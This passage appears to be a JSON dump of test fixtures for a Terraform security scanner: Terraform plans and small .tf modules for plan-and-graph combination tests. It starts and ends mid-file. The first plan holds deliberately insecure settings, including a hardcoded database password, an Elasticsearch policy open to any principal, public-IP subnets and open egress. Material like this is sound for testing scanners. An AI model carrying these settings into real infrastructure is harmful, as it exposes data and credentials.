\"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.data\"\n              ]\n            },\n            \"key\": {\n              \"constant_value\": \"customer-master.xlsx\"\n            },\n            \"source\": {\n              \"constant_value\": \"resources/customer-master.xlsx\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1,\n          \"depends_on\": [\n            \"aws_vpc.web_vpc\"\n          ]\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": 0\n            },\n            \"protocol\": {\n              \"constant_value\": \"-1\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": 0\n            },\n            \"type\": {\n              \"constant_value\": \"egress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"protocol\": {\n              \"constant_value\": \"tcp\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"type\": {\n              \"constant_value\": \"ingress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"device_name\": {\n              \"constant_value\": \"/dev/sdh\"\n            },\n            \"instance_id\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_config_key\": \"null\",\n          \"provisioners\": [\n            {\n              \"type\": \"local-exec\",\n              \"expressions\": {\n                \"command\": {\n                  \"references\": [\n                    \"var.region\",\n                    \"data.aws_caller_identity.current\",\n                    \"var.region\",\n                    \"aws_ecr_repository.repository\",\n                    \"aws_ecr_repository.repository\",\n                    \"local.docker_image\",\n                    \"local.docker_image\"\n                  ]\n                },\n                \"working_dir\": {\n                  \"references\": [\n                    \"path.module\"\n                  ]\n                }\n              }\n            }\n          ],\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_ami.amazon-linux-2\",\n          \"mode\": \"data\",\n          \"type\": \"aws_ami\",\n          \"name\": \"amazon-linux-2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"filter\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"owner-alias\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amazon\"\n                  ]\n                }\n              },\n              {\n                \"name\": {\n                  \"constant_value\": \"name\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                }\n              }\n            ],\n            \"most_recent\": {\n              \"constant_value\": true\n            },\n            \"owners\": {\n              \"constant_value\": [\n                \"amazon\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_caller_identity.current\",\n          \"mode\": \"data\",\n          \"type\": \"aws_caller_identity\",\n          \"name\": \"current\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"iam_policy_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"sts:AssumeRole\"\n                  ]\n                },\n                \"effect\": {\n                  \"constant_value\": \"Allow\"\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"eks.amazonaws.com\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"Service\"\n                    }\n                  }\n                ]\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.policy\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"es:*\"\n                  ]\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"*\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"AWS\"\n                    }\n                  }\n                ],\n                \"resources\": {\n                  \"constant_value\": [\n                    \"*\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"variables\": {\n        \"ami\": {\n          \"default\": \"ami-09a5b0b7edf08843d\"\n        },\n        \"availability_zone\": {\n          \"default\": \"us-west-2a\"\n        },\n        \"availability_zone2\": {\n          \"default\": \"us-west-2b\"\n        },\n        \"company_name\": {\n          \"default\": \"acme\"\n        },\n        \"dbname\": {\n          \"default\": \"db1\",\n          \"description\": \"Name of the Database\"\n        },\n        \"environment\": {\n          \"default\": \"dev\"\n        },\n        \"neptune-dbname\": {\n          \"default\": \"neptunedb1\",\n          \"description\": \"Name of the Neptune graph database\"\n        },\n        \"password\": {\n          \"default\": \"Aa1234321Bb\",\n          \"description\": \"Database password\"\n        },\n        \"profile\": {\n          \"default\": \"default\"\n        },\n        \"region\": {\n          \"default\": \"us-west-2\"\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/source/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  profile = \"dev8\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\nmodule \"s3_module_2\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example_2.id\n}\n\nresource \"aws_s3_bucket\" \"example_2\" {\n  bucket = \"example_2\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"../module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\nresource \"aws_s3_bucket\" \"example3\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph/tfplan.json",
    "content": "{\n   \"format_version\":\"1.1\",\n   \"terraform_version\":\"1.2.7\",\n   \"planned_values\":{\n      \"root_module\":{\n         \"resources\":[\n            {\n               \"address\":\"aws_s3_bucket.example\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example\",\n               \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n               \"schema_version\":0,\n               \"values\":{\n                  \"bucket\":\"example\",\n                  \"bucket_prefix\":null,\n                  \"force_destroy\":false,\n                  \"tags\":null,\n                  \"timeouts\":null\n               },\n               \"sensitive_values\":{\n                  \"cors_rule\":[\n\n                  ],\n                  \"grant\":[\n\n                  ],\n                  \"lifecycle_rule\":[\n\n                  ],\n                  \"logging\":[\n\n                  ],\n                  \"object_lock_configuration\":[\n\n                  ],\n                  \"replication_configuration\":[\n\n                  ],\n                  \"server_side_encryption_configuration\":[\n\n                  ],\n                  \"tags_all\":{\n\n                  },\n                  \"versioning\":[\n\n                  ],\n                  \"website\":[\n\n                  ]\n               }\n            },\n            {\n               \"address\":\"aws_s3_bucket.example_2\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example_2\",\n               \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n               \"schema_version\":0,\n               \"values\":{\n                  \"bucket\":\"example_2\",\n                  \"bucket_prefix\":null,\n                  \"force_destroy\":false,\n                  \"tags\":null,\n                  \"timeouts\":null\n               },\n               \"sensitive_values\":{\n                  \"cors_rule\":[\n\n                  ],\n                  \"grant\":[\n\n                  ],\n                  \"lifecycle_rule\":[\n\n                  ],\n                  \"logging\":[\n\n                  ],\n                  \"object_lock_configuration\":[\n\n                  ],\n                  \"replication_configuration\":[\n\n                  ],\n                  \"server_side_encryption_configuration\":[\n\n                  ],\n                  \"tags_all\":{\n\n                  },\n                  \"versioning\":[\n\n                  ],\n                  \"website\":[\n\n                  ]\n               }\n            }\n         ],\n         \"child_modules\":[\n            {\n               \"address\":\"module.s3_module\",\n               \"child_modules\":[\n                  {\n                     \"resources\":[\n                        {\n                           \"address\":\"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n                           \"mode\":\"managed\",\n                           \"type\":\"aws_s3_bucket_public_access_block\",\n                           \"name\":\"var_bucket\",\n                           \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                           \"schema_version\":0,\n                           \"values\":{\n                              \"block_public_acls\":true,\n                              \"block_public_policy\":true,\n                              \"ignore_public_acls\":true,\n                              \"restrict_public_buckets\":true\n                           },\n                           \"sensitive_values\":{\n\n                           }\n                        }\n                     ],\n                     \"address\":\"module.s3_module.module.inner_s3_module\"\n                  }\n               ]\n            },\n            {\n               \"address\":\"module.s3_module_2\",\n               \"child_modules\":[\n                  {\n                     \"resources\":[\n                        {\n                           \"address\":\"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n                           \"mode\":\"managed\",\n                           \"type\":\"aws_s3_bucket_public_access_block\",\n                           \"name\":\"var_bucket\",\n                           \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                           \"schema_version\":0,\n                           \"values\":{\n                              \"block_public_acls\":true,\n                              \"block_public_policy\":true,\n                              \"ignore_public_acls\":true,\n                              \"restrict_public_buckets\":true\n                           },\n                           \"sensitive_values\":{\n\n                           }\n                        }\n                     ],\n                     \"address\":\"module.s3_module_2.module.inner_s3_module\"\n                  }\n               ]\n            }\n         ]\n      }\n   },\n   \"resource_changes\":[\n      {\n         \"address\":\"aws_s3_bucket.example\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket\",\n         \"name\":\"example\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"bucket\":\"example\",\n               \"bucket_prefix\":null,\n               \"force_destroy\":false,\n               \"tags\":null,\n               \"timeouts\":null\n            },\n            \"after_unknown\":{\n               \"acceleration_status\":true,\n               \"acl\":true,\n               \"arn\":true,\n               \"bucket_domain_name\":true,\n               \"bucket_regional_domain_name\":true,\n               \"cors_rule\":true,\n               \"grant\":true,\n               \"hosted_zone_id\":true,\n               \"id\":true,\n               \"lifecycle_rule\":true,\n               \"logging\":true,\n               \"object_lock_configuration\":true,\n               \"object_lock_enabled\":true,\n               \"policy\":true,\n               \"region\":true,\n               \"replication_configuration\":true,\n               \"request_payer\":true,\n               \"server_side_encryption_configuration\":true,\n               \"tags_all\":true,\n               \"versioning\":true,\n               \"website\":true,\n               \"website_domain\":true,\n               \"website_endpoint\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n               \"cors_rule\":[\n\n               ],\n               \"grant\":[\n\n               ],\n               \"lifecycle_rule\":[\n\n               ],\n               \"logging\":[\n\n               ],\n               \"object_lock_configuration\":[\n\n               ],\n               \"replication_configuration\":[\n\n               ],\n               \"server_side_encryption_configuration\":[\n\n               ],\n               \"tags_all\":{\n\n               },\n               \"versioning\":[\n\n               ],\n               \"website\":[\n\n               ]\n            }\n         }\n      },\n      {\n         \"address\":\"aws_s3_bucket.example_2\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket\",\n         \"name\":\"example_2\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"bucket\":\"example_2\",\n               \"bucket_prefix\":null,\n               \"force_destroy\":false,\n               \"tags\":null,\n               \"timeouts\":null\n            },\n            \"after_unknown\":{\n               \"acceleration_status\":true,\n               \"acl\":true,\n               \"arn\":true,\n               \"bucket_domain_name\":true,\n               \"bucket_regional_domain_name\":true,\n               \"cors_rule\":true,\n               \"grant\":true,\n               \"hosted_zone_id\":true,\n               \"id\":true,\n               \"lifecycle_rule\":true,\n               \"logging\":true,\n               \"object_lock_configuration\":true,\n               \"object_lock_enabled\":true,\n               \"policy\":true,\n               \"region\":true,\n               \"replication_configuration\":true,\n               \"request_payer\":true,\n               \"server_side_encryption_configuration\":true,\n               \"tags_all\":true,\n               \"versioning\":true,\n               \"website\":true,\n               \"website_domain\":true,\n               \"website_endpoint\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n               \"cors_rule\":[\n\n               ],\n               \"grant\":[\n\n               ],\n               \"lifecycle_rule\":[\n\n               ],\n               \"logging\":[\n\n               ],\n               \"object_lock_configuration\":[\n\n               ],\n               \"replication_configuration\":[\n\n               ],\n               \"server_side_encryption_configuration\":[\n\n               ],\n               \"tags_all\":{\n\n               },\n               \"versioning\":[\n\n               ],\n               \"website\":[\n\n               ]\n            }\n         }\n      },\n      {\n         \"address\":\"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n         \"module_address\":\"module.s3_module.module.inner_s3_module\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket_public_access_block\",\n         \"name\":\"var_bucket\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"block_public_acls\":true,\n               \"block_public_policy\":true,\n               \"ignore_public_acls\":true,\n               \"restrict_public_buckets\":true\n            },\n            \"after_unknown\":{\n               \"bucket\":true,\n               \"id\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n\n            }\n         }\n      },\n      {\n         \"address\":\"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n         \"module_address\":\"module.s3_module_2.module.inner_s3_module\",\n         \"mode\":\"managed\",\n         \"type\":\"aws_s3_bucket_public_access_block\",\n         \"name\":\"var_bucket\",\n         \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n         \"change\":{\n            \"actions\":[\n               \"create\"\n            ],\n            \"before\":null,\n            \"after\":{\n               \"block_public_acls\":true,\n               \"block_public_policy\":true,\n               \"ignore_public_acls\":true,\n               \"restrict_public_buckets\":true\n            },\n            \"after_unknown\":{\n               \"bucket\":true,\n               \"id\":true\n            },\n            \"before_sensitive\":false,\n            \"after_sensitive\":{\n\n            }\n         }\n      }\n   ],\n   \"configuration\":{\n      \"provider_config\":{\n         \"aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"expressions\":{\n               \"profile\":{\n                  \"constant_value\":\"dev8\"\n               },\n               \"region\":{\n                  \"constant_value\":\"us-west-2\"\n               }\n            }\n         },\n         \"module.s3_module.module.inner_s3_module:aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"module_address\":\"module.s3_module.module.inner_s3_module\"\n         },\n         \"module.s3_module_2.module.inner_s3_module:aws\":{\n            \"name\":\"aws\",\n            \"full_name\":\"registry.terraform.io/hashicorp/aws\",\n            \"module_address\":\"module.s3_module_2.module.inner_s3_module\"\n         }\n      },\n      \"root_module\":{\n         \"resources\":[\n            {\n               \"address\":\"aws_s3_bucket.example\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example\",\n               \"provider_config_key\":\"aws\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"constant_value\":\"example\"\n                  }\n               },\n               \"schema_version\":0\n            },\n            {\n               \"address\":\"aws_s3_bucket.example_2\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example_2\",\n               \"provider_config_key\":\"aws\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"constant_value\":\"example_2\"\n                  }\n               },\n               \"schema_version\":0\n            }\n         ],\n         \"module_calls\":{\n            \"s3_module\":{\n               \"source\":\"./module\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"references\":[\n                        \"aws_s3_bucket.example.id\",\n                        \"aws_s3_bucket.example\"\n                     ]\n                  }\n               },\n               \"module\":{\n                  \"module_calls\":{\n                     \"inner_s3_module\":{\n                        \"source\":\"../module2\",\n                        \"expressions\":{\n                           \"bucket2\":{\n                              \"references\":[\n                                 \"var.bucket\"\n                              ]\n                           }\n                        },\n                        \"module\":{\n                           \"resources\":[\n                              {\n                                 \"address\":\"aws_s3_bucket_public_access_block.var_bucket\",\n                                 \"mode\":\"managed\",\n                                 \"type\":\"aws_s3_bucket_public_access_block\",\n                                 \"name\":\"var_bucket\",\n                                 \"provider_config_key\":\"module.s3_module.module.inner_s3_module:aws\",\n                                 \"expressions\":{\n                                    \"block_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"block_public_policy\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"bucket\":{\n                                       \"references\":[\n                                          \"local.bucket2\"\n                                       ]\n                                    },\n                                    \"ignore_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"restrict_public_buckets\":{\n                                       \"constant_value\":true\n                                    }\n                                 },\n                                 \"schema_version\":0\n                              }\n                           ],\n                           \"variables\":{\n                              \"bucket2\":{\n\n                              }\n                           }\n                        }\n                     }\n                  },\n                  \"variables\":{\n                     \"bucket\":{\n\n                     }\n                  }\n               }\n            },\n            \"s3_module_2\":{\n               \"source\":\"./module\",\n               \"expressions\":{\n                  \"bucket\":{\n                     \"references\":[\n                        \"aws_s3_bucket.example_2.id\",\n                        \"aws_s3_bucket.example_2\"\n                     ]\n                  }\n               },\n               \"module\":{\n                  \"module_calls\":{\n                     \"inner_s3_module\":{\n                        \"source\":\"../module2\",\n                        \"expressions\":{\n                           \"bucket2\":{\n                              \"references\":[\n                                 \"var.bucket\"\n                              ]\n                           }\n                        },\n                        \"module\":{\n                           \"resources\":[\n                              {\n                                 \"address\":\"aws_s3_bucket_public_access_block.var_bucket\",\n                                 \"mode\":\"managed\",\n                                 \"type\":\"aws_s3_bucket_public_access_block\",\n                                 \"name\":\"var_bucket\",\n                                 \"provider_config_key\":\"module.s3_module_2.module.inner_s3_module:aws\",\n                                 \"expressions\":{\n                                    \"block_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"block_public_policy\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"bucket\":{\n                                       \"references\":[\n                                          \"local.bucket2\"\n                                       ]\n                                    },\n                                    \"ignore_public_acls\":{\n                                       \"constant_value\":true\n                                    },\n                                    \"restrict_public_buckets\":{\n                                       \"constant_value\":true\n                                    }\n                                 },\n                                 \"schema_version\":0\n                              }\n                           ],\n                           \"variables\":{\n                              \"bucket2\":{\n\n                              }\n                           }\n                        }\n                     }\n                  },\n                  \"variables\":{\n                     \"bucket\":{\n\n                     }\n                  }\n               }\n            }\n         }\n      }\n   },\n   \"relevant_attributes\":[\n      {\n         \"resource\":\"aws_s3_bucket.example_2\",\n         \"attribute\":[\n            \"id\"\n         ]\n      },\n      {\n         \"resource\":\"aws_s3_bucket.example\",\n         \"attribute\":[\n            \"id\"\n         ]\n      }\n   ]\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  profile = \"dev8\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\n// resource in the tfplan.json file that is missing in the terraform\n//resource \"aws_s3_bucket\" \"example_2\" {\n//  bucket = \"example_2\"\n//}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"../module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/tfplan.json",
    "content": "{\n   \"format_version\":\"1.1\",\n   \"terraform_version\":\"1.2.7\",\n   \"planned_values\":{\n      \"root_module\":{\n         \"resources\":[\n            {\n               \"address\":\"aws_s3_bucket.example\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example\",\n               \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n               \"schema_version\":0,\n               \"values\":{\n                  \"bucket\":\"example\",\n                  \"bucket_prefix\":null,\n                  \"force_destroy\":false,\n                  \"tags\":null,\n                  \"timeouts\":null\n               },\n               \"sensitive_values\":{\n                  \"cors_rule\":[\n\n                  ],\n                  \"grant\":[\n\n                  ],\n                  \"lifecycle_rule\":[\n\n                  ],\n                  \"logging\":[\n\n                  ],\n                  \"object_lock_configuration\":[\n\n                  ],\n                  \"replication_configuration\":[\n\n                  ],\n                  \"server_side_encryption_configuration\":[\n\n                  ],\n                  \"tags_all\":{\n\n                  },\n                  \"versioning\":[\n\n                  ],\n                  \"website\":[\n\n                  ]\n               }\n            },\n            {\n               \"address\":\"aws_s3_bucket.example_2\",\n               \"mode\":\"managed\",\n               \"type\":\"aws_s3_bucket\",\n               \"name\":\"example_2\",\n               \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n               \"schema_version\":0,\n               \"values\":{\n                  \"bucket\":\"example_2\",\n                  \"bucket_prefix\":null,\n                  \"force_destroy\":false,\n                  \"tags\":null,\n                  \"timeouts\":null\n               },\n               \"sensitive_values\":{\n                  \"cors_rule\":[\n\n                  ],\n                  \"grant\":[\n\n                  ],\n                  \"lifecycle_rule\":[\n\n                  ],\n                  \"logging\":[\n\n                  ],\n                  \"object_lock_configuration\":[\n\n                  ],\n                  \"replication_configuration\":[\n\n                 